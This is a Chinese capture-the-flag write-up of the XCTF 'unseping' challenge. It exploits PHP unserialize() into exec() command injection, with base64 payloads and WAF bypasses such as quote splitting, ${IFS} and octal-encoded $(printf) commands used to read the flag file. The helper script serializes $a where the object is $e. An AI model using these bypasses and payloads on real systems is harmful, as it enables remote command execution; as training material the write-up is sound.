关于ctf中的unseping一些解题思路

261 阅读3分钟
  • xctf中的unseping的一题主要考察方向如下
    • 代码审计
    • 简单的序列化
    • base64编码的加解密
    • 过滤函数的简单绕过

首先,本题的整体代码如下:

<?php
highlight_file(__FILE__);
//类名为ease的类
class ease{
    //两个私有变量分别代表方法和参数
    private $method;
    private $args;
    //构造函数,用于给上述两个私有变量复制
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 	//用于执行shell指令,$ip即为上述的$args的值
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }
    //安全过滤,用于过滤特殊字符
    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
    //魔术方法,序列化时会自动调用,用于调用上述的安全过滤方法
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

代码中做了简单的注释,接下来详细看看解法和步骤:

  • 首先需要明确代码结构,参数通过post方式传递,又因为代码中并没有创建ease的实例,所以传递参数时需要创建实例,即第一步为:
$e=new ease("ping",array('参数'))
//此处创建实例时传入两个参数分贝为ping ,array("参数"),代表使用ping方法,传入array("参数")
  • 此时观察最后一句,会将post传递的参数进行base64解密,后进行反序列化,所以传递的参数需要序列化后加密,第二步如下:
//序列化
$b=serialize($a);
//base64加密
$c=base64_encode($b);
  • exec()函数可以将第一个参数作为shell命令执行,第二个参数用于记录执行结果,利用这一特点,可以首先查看当前网页的目录,即使用ls命令,第三步:
//实例的创建可以该为
$e=new ease("ping",array('ls'))
  • 由于函数中存在关键字检测,所以需要进行绕过,已知绕过方式有单引号(' '),双音号(""),${z}占位符。所以第四步为绕过:
//实例可修改为
$e=new ease("ping",array('l""s'))
  • 最终,完整的脚本为:
$e=new ease("ping",array('l""s'))
//序列化
$b=serialize($a);
//base64加密
$c=base64_encode($b);
echo $c;
  • 使用上述脚本可以获取经过处理后的post参数,使用firefox浏览器的hackbar设置post载荷,然后提交发现目录结果如图
参数:
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==

image-20231013180345278.png

  • 根据上述结果可以看到处理主页的文件之外还有一个flag_1s_here的内容,目前格式未知,尝试读取该文件,需要修改创建实例时传入的第二个参数的内容,修改为如下
$e=new ease("ping",array('c${z}at${IFS}f${z}lag_1s_here'));
//上述代码使用${z}与${IFS}配合进行绕过,其中${z}表示占位符,本身不影响代码的意思,但是可以混淆匹配从而绕过,${IFS}用于代替空格,除此之外如果${IFS}被执行了过滤,可以使用 $IFS$1 来绕过
//生成参数:
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyOToiYyR7en1hdCR7SUZTfWYke3p9bGFnXzFzX2hlcmUiO319
  • 发现返回的值为空,无法读取,所以猜测flag_1s_here为文件夹,使用ls flag_1s_here来查看文件夹下的文件,修改实例的第二个参数,内容如下:
$e=new ease("ping",array('l""s${IFS}f${z}lag_1s_here'));
  • 使用修改后的参数提交,结果如下图:
参数:
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNjoibCIicyR7SUZTfWYke3p9bGFnXzFzX2hlcmUiO319

image-20231013181332630.png

  • 发现该文件夹下存在一个php文件,flag大概率存放在此,需要使用

    cat flag_1s_here/flag_831b69012c67b35f.php
    

来查看该文件的内容,此时由于过滤方法中存在对"/"的过滤,所以需要将该命令转换为ascii码值,再转换为八进制进行表示,使用$(printf)来解析编码后的命令,在编码后的命令中在对空格和其他关键字进行绕过,修改参数格式如下:

$e=new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
  • 使用该脚本获取到新的payload,将其作为post的参数上传,结果如下图:
参数:
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319

image-20231013182204966.png 至此, 成功拿到flag!